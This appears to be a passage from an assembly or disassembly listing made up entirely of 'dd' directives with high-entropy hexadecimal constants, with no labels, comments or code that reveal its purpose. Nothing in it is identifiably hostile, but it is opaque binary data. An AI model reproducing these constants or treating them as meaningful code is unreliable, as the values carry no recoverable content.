		dd 7A494C2Dh, 318F0F31h, 0C297642Eh, 0EF7734D2h, 829047E8h
		dd 57D1E2B5h, 6842C6F1h, 0F3D47D05h, 6B6A7C62h,	5D06F0A8h
		dd 0E5545096h, 5613A908h, 65F988F9h, 0F3CCC130h, 84D35029h
		dd 88C1EF36h, 218158F8h, 0AB74C6E3h, 0E8C02A76h, 41ECD04Dh
		dd 2563C531h, 0A3FD7B7Fh, 3BC330F1h, 2590D336h,	37C673D2h
		dd 0D97C9827h, 0C9EA427Bh, 46838209h, 69185792h, 47BD7959h
		dd 585E2678h, 754FABE9h, 0AFE4B2ACh, 0A25B47ADh, 82A61B51h
		dd 0A823BA83h, 5C87A83Bh, 8EE3D601h, 0FC384F45h, 0FD4A78B8h
		dd 65DCEBE5h, 184E096Fh, 2809E3D1h, 0C793C07Ch,	0C15E71FCh
		dd 25EAD2B2h, 0F7D6206Dh, 74FED65Fh, 0D8F4BE3Fh, 74275C6Bh
		dd 6DBBC2A4h, 0DCB9A599h, 2C7D1857h, 8F13944Bh,	848C8BAAh
		dd 83D5FCE9h, 7B003E4h,	9709716h, 0C4A1F2EEh, 5646868h
		dd 0B222F99Dh, 1C41D6AAh, 9103A21h, 0C45F2607h,	9A73C402h
		dd 5E58416Eh, 5B46F72Fh, 0D5178CB8h, 839EA366h,	535EF1h
		dd 0C25D61F6h, 2ACF8112h, 7B563105h, 49A8EFE9h,	53A0B800h
		dd 143549F6h, 6ED86500h, 5C2DD0F7h, 0A9BC0093h,	0FF054048h
		dd 5F60B442h, 9BBEE052h, 0C72D0B8Ah, 62020106h,	78105F8h
		dd 7CC8E95Fh, 0A1345A9Fh, 8457FFE4h, 5F515F27h,	7AB1743Eh
		dd 2B63BDC0h, 18EBF34h,	39132962h, 4CD5F9C0h, 111B409h
		dd 0DD1000CDh, 1BEDE581h, 115B364Bh, 0F4FEEFB9h, 924DE9BDh
		dd 0DEF61738h, 477608EAh, 530F7A7h, 7B9733F4h, 1AD3A475h
		dd 516016CFh, 77821218h, 0F66ED4F6h, 0C5806E9h,	0A8BF698Ah
		dd 0C02B0F27h, 0CE69EC2Fh, 2858D940h, 0C280DA0Eh, 4BEA66AAh
		dd 662E0906h, 0DBC0C05Bh, 85A4777Dh, 641F4C0Fh,	35E66401h
		dd 448F08Ah, 0F6427A2Dh, 0F178D675h, 2DCDBF1Ah,	0A0B25944h
		dd 8422335Ch, 329A6620h, 90CC3BC3h, 7A7F696Fh, 0B15D0828h
		dd 0BB9E19FAh, 0C25F7427h, 0D156D953h, 1F56F469h, 0E3163F52h
		dd 4E99F3DFh, 855E71EAh, 9EC33202h, 9CF4ADD2h, 54B50BCEh
		dd 975043DDh, 51F16E16h, 72599FF8h, 4D5CE916h, 0B1112994h
		dd 4828C32Ch, 11F5CC7Ah, 2549F559h, 59BE415Dh, 27AC4F61h
		dd 238909D0h, 0B6012964h, 0C0C6FE0Eh, 91FC03E6h, 0DE7197B4h
		dd 9257F42h, 23D34730h,	0A86274BDh, 1D5CF1CEh, 16E86E45h
		dd 6B00BF96h, 72BE4115h, 50C43168h, 3E5B584Bh, 165076F2h
		dd 0DC07B706h, 390BFE2Fh, 5B24E54Ch, 8378B152h,	31024AC2h
		dd 96D44C34h, 16AB5B3Eh, 7574E9A8h, 418F6417h, 0A54552E0h
		dd 0B1F02FD1h, 84E9CDC2h, 1E0DDB96h, 0A00CD251h, 0F4955D49h
		dd 0AC72F24Eh, 0C634232Fh, 6FA284A5h, 0EBD85050h, 48970168h
		dd 8263CE67h, 9891D2DFh, 750D3448h, 93A5BF39h, 1E89E660h
		dd 0CB3AFB36h, 0F43E6Fh, 5E0858EAh, 3BEB2CD7h, 0A2674F31h
		dd 125F7936h, 0CFFC3369h, 7AB70896h, 1F25E9A2h,	621D7614h
		dd 8001E45Ch, 0C1CC58C9h, 0EF1EC6Ah, 59CA285Fh,	7AD7D409h
		dd 185D9526h, 9E74C03Fh, 982483Ch, 60736CAEh, 34B90D80h
		dd 7B2D4622h, 0C1C48D1h, 2156EF12h, 929A2370h, 5EEEEBEFh
		dd 0AB26C955h, 8986CE1Ah, 0D8506FA5h, 8A5E1067h, 312129D0h
		dd 891A1F23h, 0DDB349E8h, 0B460B05Eh, 95533713h, 93C2F720h
		dd 71C7338h, 8CF4D0E9h,	2EC9E4BEh, 68125A61h, 0FA4D14FCh
		dd 0B70A29E0h, 0B2ACA18h, 5061771Dh, 7B6A0E80h,	0BFDDE966h
		dd 75949310h, 0DA170728h, 59E1B625h, 0B2D4424Ah, 62BFFB48h
		dd 69EF0496h, 0B220A24Bh, 0D9F282A8h, 99D95DE5h, 8B95B52h
		dd 590EF97Dh, 0EB42E555h, 44C4AF34h, 0EE802480h, 0F128043Fh
		dd 0BE7C05E9h, 4A3E5032h, 0C9735F3Eh, 0A91FE60Bh, 1CE5F5FEh
		dd 0D845017h, 33C52080h, 3C703E13h, 838FEA35h, 6B3B37E3h
		dd 0B88B8E4Dh, 0CCAA1319h, 0B7122D45h, 0B1ABEDF6h, 34B7005Dh
		dd 0D6B5F952h, 38D5096Bh, 0EB3FFCh, 7B0B2B1Ch, 9FBB9878h
		dd 43587099h, 8B161951h, 0B808D989h, 13FF2C50h,	0B868EF7Dh
		dd 68530B5Ah, 1C662A98h, 320F6603h, 406ABB65h, 7F55CC0Bh
		dd 0AA485A59h, 2508BB10h, 25A5D15Ah, 535038FCh,	2C6D7DBBh
		dd 10394073h, 0A8B114E6h, 82EA20ABh, 0D2EAD792h, 0DE582472h
		dd 5A954FEh, 0B635CA00h, 58C60997h, 46F60481h, 0BF447C49h
		dd 0AAC77C4h, 0E129E85Ah, 0C1015730h, 0B29541E6h, 2E44652Ch
		dd 0E3E165BDh, 0A3B004C9h, 45242588h, 8A6105FEh, 94440F1h
		dd 8B1831B8h, 0D4783F48h, 0EE885580h, 68EC0CB5h, 0BD1F7AEBh
		dd 1D64F19Dh, 704AA413h, 0C0821E9Ch, 28EFB176h,	9FBD3299h
		dd 79B87D7Ch, 0BD48FB95h, 0C9EF0B92h, 0EDA82FEAh, 0B0ADFAA4h
		dd 0EC9113D6h, 0E9F004E6h, 24FA4CC4h, 4C8DAB80h, 543B0541h
		dd 8A0130D4h, 0A840809h, 0A88D413h, 808146CCh, 6607C380h
		dd 7CB5585Ah, 0AAE46507h, 47F41153h, 7B901740h,	3E5213h
		dd 7A1F2889h, 2A25E933h, 0DE32F732h, 0B676D840h, 56E000BCh
		dd 2825E0BEh, 418905E2h, 0ABCD4178h, 0ED810043h, 4A1802A9h
		dd 9560E975h, 6D05F690h, 8430C012h, 0C10B80FFh,	0F65E0ACAh
		dd 517867F8h, 313C08E9h, 0F938AB5Eh, 0BA520450h, 0C26C091Dh
		dd 0C9686958h, 8F130F42h, 28EEA8D8h, 0E5409328h, 82BBFBDh
		dd 5DF2A3D7h, 8C688958h, 424E63Bh, 3F6F0241h, 0D33EACF8h
		dd 68C0EE4Ch, 47A21E9Dh, 664A3A90h, 4A7C0328h, 0E24D5058h
		dd 101D611Ah, 59D1D675h, 0A866FE52h, 1663B900h,	0E1C12220h
		dd 0F490603h, 242D608Eh, 0E78C0EC2h, 0E1090B39h, 5694B370h
		dd 52B4D572h, 63F35F50h, 24D3A40h, 0CDD42D95h, 3B76FC22h
		dd 990DD072h, 88E9C127h, 42316F4Bh, 0C514209Ch,	0AD9BAE8Eh
		dd 3885D31h, 0B25B0330h, 0CC6FC85h, 5EADF521h, 20A2659Fh
		dd 1B4BEB2h, 4484202Dh,	74B07ECFh, 0A61A5AB6h, 185D1268h
		dd 0B7D64CE9h, 49834CDDh, 97C44BEBh, 58608AAFh,	0DF9510B3h
		dd 1C2D4548h, 56920BD9h
		dd 0FA96F2FCh, 0A958DACBh, 0EA4E2838h, 4BB0F52Ch, 5FBBB272h
		dd 5605EFE9h, 8752A00Dh, 7E7F106Bh, 70F2D0Fh, 0C14AAA0Bh
		dd 3A5508C2h, 0FE008B38h, 0E96C0EFCh, 82AC0C51h, 0C29FBEF2h
		dd 616DD711h, 0CC4F2990h, 45BDB2D5h, 0A3680BBEh, 883798FFh
		dd 674E4DEh, 0FCE90187h, 0F10733D1h, 5F6F0FFBh,	5397D7B4h
		dd 50F1DB54h, 5192B96Fh, 5E52CFFh, 17F625D7h, 2EC69D01h
		dd 1EA4508Fh, 0A98B5A08h, 0C69F73FCh, 1AFC3C47h, 19E807B4h
		dd 6E6C00Bh, 5C045E8Bh,	0E99CE06Eh, 675E5D2Fh, 0F3163F4Fh
		dd 0C4CCA883h, 0BF0067B5h, 1AEC7EA0h, 0A10B687Ah, 54582B7Fh
		dd 90DFEB95h, 0B2C9E973h, 807F9D9Eh, 0E78514AAh, 6022B83Fh
		dd 5AD17171h, 475CC2Ch,	5D1CBCE9h, 0D3311DF6h, 354FDDD2h
		dd 0D07B280h, 0EA6359CAh, 68063724h, 5DC2E712h,	70178206h
		dd 5428B1E9h, 5D406397h, 68E18D04h, 0F7AD76BDh,	4BD0FCA5h
		dd 0BE963CEEh, 0DFF32C5Bh, 0D567A504h, 6AE1FF69h, 0A145344h
		dd 0BA2F6069h, 584D6018h, 63205F79h, 0B7317A9Fh, 388EAB41h
		dd 572D69h, 6729BC44h, 0B858BD23h, 0B7320782h, 3889360h
		dd 7D5259B6h, 0A074CE74h, 0D067C9BCh, 0E21CAF92h, 62F2C28Fh
		dd 9457D788h, 54609DE0h, 86828021h, 2F0B1F66h, 0CDC933B5h
		dd 33A6CF81h, 0D25A5926h, 4A242716h, 5FF0A0AFh,	7314DC97h
		dd 0E957BD06h, 3D387FF5h, 0B51CB353h, 0B4F625E4h, 68BA3517h
		dd 9948E98Eh, 54F280C2h, 3E2DD67Eh, 259BD089h, 10B1EF88h
		dd 50CF6228h, 71BD6A32h, 53A38229h, 0BBB247EDh,	0DA434D8Eh
		dd 2F0116E9h, 765EEF81h, 0A57B22F2h, 5D080203h,	0D28EFC5Fh
		dd 41C91680h, 3500060Dh, 6E812701h, 9D44FBE9h, 3AF0F5B9h
		dd 6A4E39EBh, 0D653E427h, 0A9EA8441h, 0C9FEF012h, 6A02AE9h
		dd 0E6E3B5D1h, 1302063Eh, 734B0B36h, 6F4C7F63h,	52273A80h
		dd 74883494h, 2782419h,	59158BCh, 0A10B1AE8h, 1BC5AA9Dh
		dd 26E63F34h, 0D8A30993h, 0BB5F98FFh, 22250C52h, 0F6A5144h
		dd 77EFD5C9h, 0B2032C42h, 6EA8A5C7h, 2427E93Dh,	2FAEF391h
		dd 0B5651D4h, 0D6315F5Ch, 0E2E055EAh, 0CC4AC8E9h, 67B159B8h
		dd 23FD04A9h, 0EC881E84h, 0A852DED8h, 0CEF60BD7h, 0EE29240Dh
		dd 827F27C6h, 5D895D80h, 0F781D8D1h, 3EBBE9D2h,	1392E148h
		dd 0EB31B005h, 0A080250h, 0B22241E9h, 0BE5693BDh, 5B63DD88h
		dd 0FFD49466h, 1FDA6F81h, 192DF13Dh, 67BA09EBh,	0D2D2EB2Fh
		dd 0F120C02h, 3DC64C32h, 8718D064h, 1FE453A0h, 4918562Eh
		dd 9A2121AEh, 704B58C3h, 0D25A62D4h, 0E4929EA6h, 4E4A63C0h
		dd 1293A9A2h, 0E01189F1h, 0DFCFF2ABh, 9D92FCEBh, 7BACE6BEh
		dd 58BDAD4Fh, 13F8C11Ch, 4FF0A8F1h, 3ED8CF17h, 59C82521h
		dd 0B404420Bh, 9D61FE3Fh, 973A0DD3h, 0AE77276h,	1AD220FDh
		dd 505EE115h, 722FC05Ah, 0F70064Bh, 0F1678485h,	437CDC97h
		dd 165F60DEh, 8F684904h, 50D71E88h, 3491877h, 684A9E99h
		dd 21126660h, 23A26F95h, 0D9B4B685h, 2C05E5B7h,	3DB35A73h
		dd 0DC0811D2h, 0A0BBA02h, 5C5D7A86h, 4FCA00FCh,	0D17B6D1Eh
		dd 70EA2BF3h, 0A6ABC28Eh, 7FA03125h, 0D2DDEDA9h, 33A29D50h
		dd 97AB3170h, 142D2C70h, 0FC4B1996h, 0FF284D35h, 74D20F10h
		dd 0DA7E8B2Fh, 1BE60108h, 0E9039739h, 578D57E0h, 5844B97Ch
		dd 1935809Dh, 1810C15h,	5A10D1E3h, 3548E92Ah, 1EF97B79h
		dd 266857A0h, 0F4E177Bh, 22339CB8h, 0E2E9530Fh,	1A307A07h
		dd 7A6D52h, 566CBB1Eh, 0A5E9106Ah, 0F2257C63h, 1C31EF5Eh
		dd 9DF42EEBh, 962BBE38h, 93C7EFC7h, 0F52B54C2h,	28B4CE64h
		dd 4A27CC89h, 2E255D4Ah, 1672E377h, 0CDF42516h,	4906F0D9h
		dd 0F14A88C0h, 66B341B1h, 0F3B1300Dh, 0AAB95105h, 0EA01A60Eh
		dd 0E07F79E1h, 0FB7FB02Eh, 20FC0F13h, 9875CB02h, 0F45BC0AEh
		dd 0D7D9A955h, 4F71CB3Fh, 0B72904A4h, 5A66017Eh, 0C86C5AD4h
		dd 3C4B873Ch, 92A971EAh, 0FDF24825h, 2CBA7E4Ah,	61B3EE03h
		dd 1B5B5288h, 1527CA68h, 5A96E0CAh, 74C24C31h, 80121620h
		dd 0DE8C1ECh, 0F2C85B70h, 7D8DC4A2h, 1701C346h,	0BB01A4B0h
		dd 68720D7Ah, 556C2B3Eh, 0B6B126C2h, 6549A860h,	697771B7h
		dd 7D6B7F56h, 0AF8BFB24h, 0F2BFE612h, 8A19D6E6h, 0E3DB5D86h
		dd 0F1930394h, 731126A7h, 423382D9h, 0A290C172h, 0A98399E0h
		dd 0A36E15C7h, 7CA85B07h, 4A56AAA5h, 7999606h, 1B009D9Fh
		dd 0CD38CABAh, 0A0050401h, 2D545B15h, 5EB549DCh, 98A103h
		dd 8CA1E907h, 2F22E697h, 4AF9086Fh, 262C6885h, 0BA3D9CAAh
		dd 8D8C3C5Ah, 0EA781727h, 0BDA01050h, 4D0AC3C0h, 0CC115EFh
		dd 729D746Ah, 2688C610h, 54E47897h, 9559FA80h, 2F1820F5h
		dd 0ED5CFD7Ah, 247E6DE4h, 276312Bh, 129A3D7Ch, 3E1D4075h
		dd 5F427D93h, 7845A6F9h, 81707D49h, 3E3A0B60h, 7006E42Eh
		dd 0E94A7A0Bh, 2CA2DFF9h, 0D6572C4Dh, 195F520Ch, 9835719Ch
		dd 8D20F0C1h, 2F6D4187h, 2F2DDA20h, 64447E2Ah, 0BB882D8Ch
		dd 0E8F765C1h, 56E8E5AFh, 12D7F398h, 0BAA4ECFCh, 50B6CAC4h
		dd 31F51269h, 0A23E5438h, 87A222h, 2F6D685Ch, 0C562D4BEh
		dd 45BB00BFh, 3238C430h, 0FBE0D04Bh, 23D5C903h,	7B5BD929h
		dd 48C10506h, 710EEE66h, 6CD04B89h, 52558436h, 5794DAC1h
		dd 0BBA39CCh, 30E0254Ch, 8B3FE4DCh, 0FF5E5A56h,	85BE763h
		dd 0F28B86B8h, 0CD68D0Ah, 980C7EC2h, 881366FEh,	0A3AED589h
		dd 0BD0B93F5h, 5F5E91Eh, 0EAFC132Bh, 0C9A5C061h, 0EEB15E03h
		dd 0A1680062h, 6C1CB160h, 68185069h, 9663332Dh,	835C4A0h
		dd 21CB1F30h, 0AC84C765h, 7568846Eh, 8B3AE641h,	5A48555h
		dd 0E200F5FDh, 639A6F85h, 0C8B0D2F7h, 51D16815h, 3CE90921h
		dd 503D766Fh, 689D6CFCh, 7A015A4Ch, 0C57D4FCFh,	0E4DDEE0Eh
		dd 3334A2DDh, 111650B6h, 5CCAE205h, 48106C7Bh, 0D1FF9622h
		dd 0EF137DB8h, 0E59056E4h, 2E976A22h, 9BE5A0Dh,	0EB7C1A65h
		dd 7F52B870h, 65509A4Fh, 0EB050D4Eh, 0A62D3740h, 4C3BB35Bh
		dd 7405029h, 95F159E9h,	101B2D07h, 0F829E30Fh, 0E907059Dh
		dd 4E924BBEh, 0ABC0C78h, 82BBE52Dh, 0E95CDA8Ah,	0DAE6AC89h
		dd 0CC36A120h, 0F5C339E6h, 95272213h, 97CDE304h, 8F7CF012h
		dd 80B72A5Eh, 7C094D7Bh, 139FE35Eh, 933108D8h, 0EC7FC788h
		dd 0FCC7A7B7h, 0E958E6E0h, 0D0CF5F91h, 87A3529h, 74686D0Ch
		dd 5A8E6726h, 9C71D1EEh, 7F5936D7h, 0D240DC2Ah,	807EB204h
		dd 81AE64F2h, 6B66B96Dh, 670391C8h, 0D1C2E725h,	206E9C21h
		dd 57015040h, 870F41A0h, 0E7A74A3Bh, 0E9C5A1DFh, 3B813DF8h
		dd 117B0AE6h, 84A02F42h, 92299F7Eh, 0D52A0A50h,	0E912731Ch
		dd 0F9CC35A3h, 2D2412Fh, 0C77138E0h, 79B2E10Ch,	87E009C7h
		dd 0AF8BBAFDh, 0DB2D1873h, 0E02209DBh, 6B3099FFh, 0E43F7775h
		dd 64406D30h, 5B88EAB0h, 1C7588C5h, 0B62DF280h,	0FD06288h
		dd 0BDC0A50Eh, 0EC8603B2h, 2B2F2106h, 5096FF6Dh, 0EBBDBBFCh
		dd 0A4594F2Fh, 9970CDBh, 0BE1ED564h, 494E3D4h, 6EEB136Ah
		dd 0CCA1F182h, 0A34E24D3h, 1458BF49h, 9C4D6A05h, 0F78B8075h
		dd 785A035Dh, 33891E4h,	317B2522h, 0A44F5FFDh, 0E9B402BEh
		dd 0A2F14B3Fh, 10967FADh, 6CAA5B4Bh, 89EEE954h,	0BA6648C6h
		dd 0D5F4CEACh, 29205AEFh, 0BBCBE9C5h, 41B28BBAh, 0BE2CD43Fh
		dd 0A6B89156h, 0B350904Ah, 0F9E5D351h, 0C9372BCFh, 6E80C304h
		dd 9DD328F2h, 408D9F69h
		dd 193689Dh, 0E98454BBh, 0C0004818h, 0C38004EBh, 0AE37ECCh
		dd 58D8E0BEh, 9810CF5Bh, 0B4497561h, 0FD680206h, 0FF2C280Ah
		dd 0BA025C16h, 44E82016h, 6AEC7531h, 5A65A180h,	97ECF7Dh
		dd 2DB87AEBh, 0FFCAA93Eh, 0E6839A93h, 43012F70h, 0D5448A51h
		dd 0F1948394h, 0BF12DA9h, 17F32B42h, 0F1E360Eh,	0F70D0152h
		dd 6C0C9C3Dh, 7308045Dh, 20C1FC46h, 243B80FEh, 0D10D5032h
		dd 59747C2Fh, 5F182268h, 4A685691h, 2F87F1F8h, 343F12DEh
		dd 0D218CACAh, 6BD79616h, 0D91FFF60h, 0DCADF73Ah, 0D769E459h
		dd 384440D1h, 5379B3BBh, 0A1552865h, 1A82D75Eh,	0EAC27FABh
		dd 211ECC57h, 0F82623Eh, 497DBD88h, 1C6450Ah, 0E1D6F75Eh
		dd 42D5285Ch, 6BE9C27Bh, 48C17A46h, 8003F405h, 57328D1Fh
		dd 7B5854FAh, 0C8045D9Fh, 0A7BBACB5h, 0F6680FC9h, 28E4FE62h
		dd 132C40F3h, 0E2975970h, 151961A7h, 0C62A9C4h,	555EF731h
		dd 22000C14h, 23BD6F9Ah, 0B82B1939h, 0CDE93ABDh, 4E88CF5Eh
		dd 2C4F3B2h, 52C2130Ch,	860B7D9Dh, 18FE455Dh, 4C4B0E45h
		dd 0F20B9C2Dh, 0AFACBE16h, 0B0FC9C5Fh, 548B60DEh, 9E7F87BBh
		dd 4A77E4C2h, 0BDF7071h, 12C5439h, 0BD314F02h, 9DAFC09h
		dd 0BA5DE050h, 2D2FC0CFh, 0A2350D9Dh, 3BEE8DE9h, 87E1C6E8h
		dd 1614C242h, 0AAC017E9h, 0D5C29492h, 0D04F1EE4h, 95355903h
		dd 97BF91Bh, 0F3FBE744h, 179909F5h, 0E410DD22h,	799F6AE4h
		dd 0EDC48DDFh, 0EF74D0B9h, 70779B25h, 7267A1DDh, 0F1E7F7C2h
		dd 0F0B9BA9h, 0CB18AE17h, 41254843h, 3D2D81A5h,	0DBE45FEFh
		dd 0CA73D2D5h, 0B3EA9273h, 10EF5847h, 0F06734Bh, 6D58F385h
		dd 24625A24h, 8051B260h, 0B47F00C2h, 0F2815975h, 790A15CDh
		dd 855B5268h, 96B3542h,	84ED29E3h, 4A7EE8E2h, 87C730A2h
		dd 0BEE380D3h, 56B80567h, 1CDF35Ch, 860F7A85h, 0CA3ED59Eh
		dd 74E01862h, 543BD3Eh,	0C14C8F6Ch, 81830EE5h, 1B2DABD2h
		dd 0AB084F7h, 718F0FBFh, 0B2462C74h, 644B144Dh,	1B3D1FBh
		dd 0EDCA6E0Ah, 6D963028h, 600D0632h, 0BE800D68h, 2F4A16ECh
		dd 5593B225h, 1F912AB2h, 0B3A4FE9h, 0D1F35509h,	2CFB76EEh
		dd 9559E988h, 2AED4E98h, 2B946882h, 5716E9F1h, 417A0D0Fh
		dd 0C9E97E3Ch, 9D0EE82Fh, 41F03A75h, 8CED0751h,	4B40E9BAh
		dd 22121466h, 93047F55h, 3DBF3EA3h, 48C56D8Dh, 67997338h
		dd 0C8685780h, 7F502C32h, 0E25E2A5Fh, 98C104E1h, 0BB209336h
		dd 0E087D3C5h, 0B5D57819h, 1EF075FEh, 0AA28D3FDh, 0D95A5393h
		dd 0FF2D3936h, 30205D12h, 85B35357h, 0C9DA8826h, 6712D012h
		dd 0BDBA6184h, 0B551E133h, 2567B6E8h, 0C8F4B9E9h, 0B38172Fh
		dd 36C06EE9h, 6D1E05BBh, 0A69261FBh, 241229FDh,	9C0FCC4Ch
		dd 794A1C98h, 0D35C1372h, 496927C5h, 102D2A9h, 0ABB360D6h
		dd 76D5280Dh, 9D9A2085h, 44AA2D4Bh, 0BF4ACCEFh,	7266758Ch
		dd 3BD39455h, 7D0F715h,	860AE85Bh, 9036862Dh, 75F201CDh
		dd 29EC3792h, 0B2C06ED1h, 4F21064Bh, 58A3A013h,	0C3DC1141h
		dd 74312E68h, 75C2CFA5h, 3CFE2F9Fh, 6D005A26h, 0E90F4F0Dh
		dd 3B2459B6h, 5BE6EE7Eh, 21EFD73Ch, 0EF7BF406h,	0D700EB83h
		dd 278E7559h, 0A205C829h, 63F1FF07h, 0C7F8E904h, 0B2B477EBh
		dd 47FD62A7h, 0E42DEFh,	207E72B7h, 0B0EA4439h, 0DE972670h
		dd 84F5C11Eh, 2A15F5A1h, 0F9CCCFF5h, 728A0B3Fh,	57FC201h
		dd 4F840F77h, 0A8EF9700h, 0A063EE48h, 808C08ADh, 5959E830h
		dd 9E8C9F28h, 0BA1C53h,	6D1608B1h, 1A800F42h, 0FD070BB7h
		dd 2EBE6B8h, 0CD160BE1h, 824E9416h, 0C961EBBBh,	6F4581EAh
		dd 6011E620h, 6BED5720h, 0F6D118D3h, 0F9150026h, 76FF4B98h
		dd 0B6B07607h, 5DC8825h, 77B1A9AEh, 136DAB2Fh, 82BFE330h
		dd 60B16691h, 7DBEC881h, 0A2794942h, 0D70B36BDh, 0F4B7359Ch
		dd 6A147931h, 0F4B9E01h, 0C434ED8Ah, 7701B843h,	0FAA5D249h
		dd 0F1D1B7C9h, 0DC9DBD08h, 6C310904h, 417BA57h,	7FECDE51h
		dd 0A74BA84Ah, 689BDBE2h, 0F6685214h, 13032538h, 0AB42C40h
		dd 4E399420h, 0FB5716BBh, 6012A519h, 0E3D8A4EAh, 5FEB9CFAh
		dd 66134EB4h, 27259AFFh, 0D03FD602h, 0EAE4D530h, 0C28608C3h
		dd 0F8819C50h, 0AAFD0F6h, 28B71BE5h, 8C68D5E0h,	5BE0A823h
		dd 0BFAA8362h, 5295A878h, 0EFEE5A60h, 20DDBD10h, 0C5301537h
		dd 51412D66h, 0A749EFC1h, 0FFC269D5h, 0AA20FEC4h, 0FB6812FDh
		dd 0DD8E8C15h, 2BDC1A4Ah, 0A5549F51h, 524EE941h, 8040416Bh
		dd 0D8306140h, 230D94C9h, 0A6E90991h, 0A37F0C65h, 3F29848Bh
		dd 80663DABh, 80BA5264h, 0F205591Eh, 0AE59DD1h,	0BB534980h
		dd 58055733h, 0DA16B250h, 8704AF2Dh, 0B9000F18h, 4762653Eh
		dd 68515001h, 52A315D8h, 44DCA720h, 6B09F1BFh, 0D472E432h
		dd 0E880C0Ch, 7A09C71Bh, 0DD78B63Bh, 25087728h,	0E93727C6h
		dd 0DD7733EAh, 0A3E7D472h, 1713F6AFh, 0BB36E5F3h, 9F0CDD68h
		dd 0F49815ECh, 1562E20h, 1C748BB8h, 0D43B050Fh,	0F7B83A10h
		dd 0A0E9080Ch, 77B46AECh, 0FEAD5970h, 890D444Fh, 0D1B91315h
		dd 49973079h, 0E6CC8054h, 3BA6529Fh, 4CFF305Bh,	0DE840BB1h
		dd 34AB17B3h, 0E5B10078h, 0F343970h, 0CF308416h, 90F2D0BDh
		dd 4255AA49h, 9AF741ABh, 13399068h, 0F1D6A8B2h,	6152D6Dh
		dd 83242158h, 35BBF39Fh, 9880E9C3h, 1EE7308h, 4FB85035h
		dd 610A421Fh, 93E14207h, 2F685C01h, 4C29F54h, 8198FC4Dh
		dd 6B0266A2h, 0CDC27F47h, 62EDD9B3h, 0D622446Dh, 87590566h
		dd 6377D1A7h, 8B4A800Bh, 21759703h, 0EDEB0FEh, 0D50EA2EEh
		dd 7506EF52h, 62FD91E9h, 282FCE01h, 0FD289275h,	3BF3A648h
		dd 4D23F505h, 81C2DE31h, 62005C0Bh, 82902ADDh, 3180FAD2h
		dd 0D898BDC3h, 59132A68h, 3EA818DFh, 70B951B0h,	0E384403h
		dd 25FE23E9h, 46868644h, 7D5A9C88h, 85CDCE40h, 0B0496947h
		dd 4A284A87h, 9F9DD67h,	36FD5891h, 0AA9229D8h, 3D7A01D3h
		dd 0F1521C08h, 82DF54D8h, 975C5DEh, 0A9D1D772h,	718236C2h
		dd 526800CEh, 5F4B8C48h, 768FF8A0h, 7456052Dh, 84081FB1h
		dd 0FB09858Bh, 120212A0h, 0FA2B106Ch, 291862B6h, 2579B6C5h
		dd 4A44FF2Ch, 77351E09h, 0DD97B864h, 0E9184E14h, 0C7D507A6h
		dd 1E4BFA79h, 0EDC568E0h, 0FB750746h, 919FEC95h, 0DA086B7Bh
		dd 0EC3616B6h, 3A083E5h, 0B4C5D741h, 0C828FD40h, 0E2C0B252h
		dd 800703E2h, 0DAF6B0CAh, 4357D292h, 578A9297h,	28599440h
		dd 7961D85Ah, 6D7C632Fh, 58322A1h, 80A144FFh, 0CDFE000Eh
		dd 0A847C368h, 9618B368h, 7FE941AEh, 130ABD32h,	4CB820A9h
		dd 1A5551CBh, 0C07AD191h, 8E0FE95Eh, 2FD489Dh, 0E7FC8295h
		dd 760B4087h, 9727FB9h,	58C3891Ch, 238ADED2h, 7FA13260h
		dd 0D89D34C0h, 0D771A053h, 8B38586Ch, 4C82B676h, 0BD404E54h
		dd 307D12BEh, 0DEFC1CF9h, 0EDCABD49h, 0D19384C7h, 7BC8BB00h
		dd 9EF43301h, 0C1AD0C62h, 53B960E1h, 908F82D3h,	89911A0Ah
		dd 0E2DEA2DFh, 91EB2950h, 0E3FA088Eh, 3D084F26h, 58AF3DEEh
		dd 890F4740h, 16128835h, 0C578F3EFh, 7A82D501h,	209982FDh
		dd 0CFCD429h, 42516EFAh, 9DEE05F7h, 30CF4BBh, 68D3CCA8h
		dd 1908D631h, 272B2EB3h, 41A9829Eh, 0F9C7FE03h,	8B3DDAECh
		dd 0FA3A9012h, 71E3F527h, 0F6B1034Eh, 3FDB78F1h, 581459D9h
		dd 0F06A75C0h, 3800E043h, 2D07610Ch, 0B04A12EAh, 80E5136Dh
		dd 7A0E0D5Eh, 1EC2315Bh
		dd 0E9C67D0Ch, 7E622CF0h, 5D05DDE5h, 55854DD4h,	8EA15D56h
		dd 4002E04Bh, 2D09E957h, 0B0D6655h, 1BDC6853h, 0D7692671h
		dd 15E226D9h, 56369FCh,	4E9C4AFCh, 9EC917Fh, 0F6FA05E4h
		dd 8A26992Fh, 5BD5E310h, 0FD7ACA28h, 656DC931h,	0DDA52764h
		dd 5BC385F7h, 5CF390BBh, 3EF9EEE0h, 5A42C3F5h, 80BD512h
		dd 901434FDh, 0EFA2575h, 6EF38E69h, 0B8F774F5h,	98500ACBh
		dd 7AC195ABh, 0ACF57553h, 9738542Ah, 8BB8FC49h,	6038B34Ah
		dd 502F52E8h, 0F929345Eh, 7E081F80h, 5309F24Dh,	259931B7h
		dd 8A844228h, 8001CC66h, 0B6524FF7h, 5AD83047h,	5BFC3E08h
		dd 226EC17h, 0F588584Bh, 0E978C9D4h, 0F60F4055h, 0CFFEDF19h
		dd 3830D752h, 254762B1h, 0B7026260h, 812E409Ah,	0A6A1D47Ah
		dd 71D64E02h, 0B5FED3F7h, 77520613h, 0A04381EEh, 0F6207E99h
		dd 48512968h, 1926814Bh, 87D4AF7Fh, 4E89F5A5h, 0C54412DCh
		dd 0B33BB907h, 6DD21A4Eh, 21E549F5h, 0B84B0478h, 10AA9382h
		dd 97507ECh, 14FB6FCDh,	64A59E2Fh, 40D4A8F7h, 48EB1AEBh
		dd 3D1233FEh, 2FFD2E4Bh, 1CAF0841h, 905B0224h, 4A26680Dh
		dd 69F27FE1h, 5345AAA4h, 24EFCB28h, 629B018Fh, 4209D571h
		dd 0BBF94AA6h, 1B10C42h, 0C02C24B8h, 0C226290Ah, 5A123F58h
		dd 39487CA3h, 0E119164Bh, 5F66D897h, 6930DBB7h,	4B304455h
		dd 0EFCE8501h, 0B420B52Dh, 65F1B73Bh, 347AA66Fh, 710D0038h
		dd 51B6B79h, 9A4C2E7Fh,	0D5BD315Ah, 2E93EC30h, 0B6F7C446h
		dd 3A9C8489h, 0C76157D9h, 0CB31108Ch, 45414E42h, 0E024A12Fh
		dd 0D9BD1F63h, 0EC759319h, 0CEBE4A3Fh, 26A250C3h, 0DE1F98BDh
		dd 0C4609935h, 48BCBE58h, 2AF7E9B1h, 0D8CD1B90h, 55F92841h
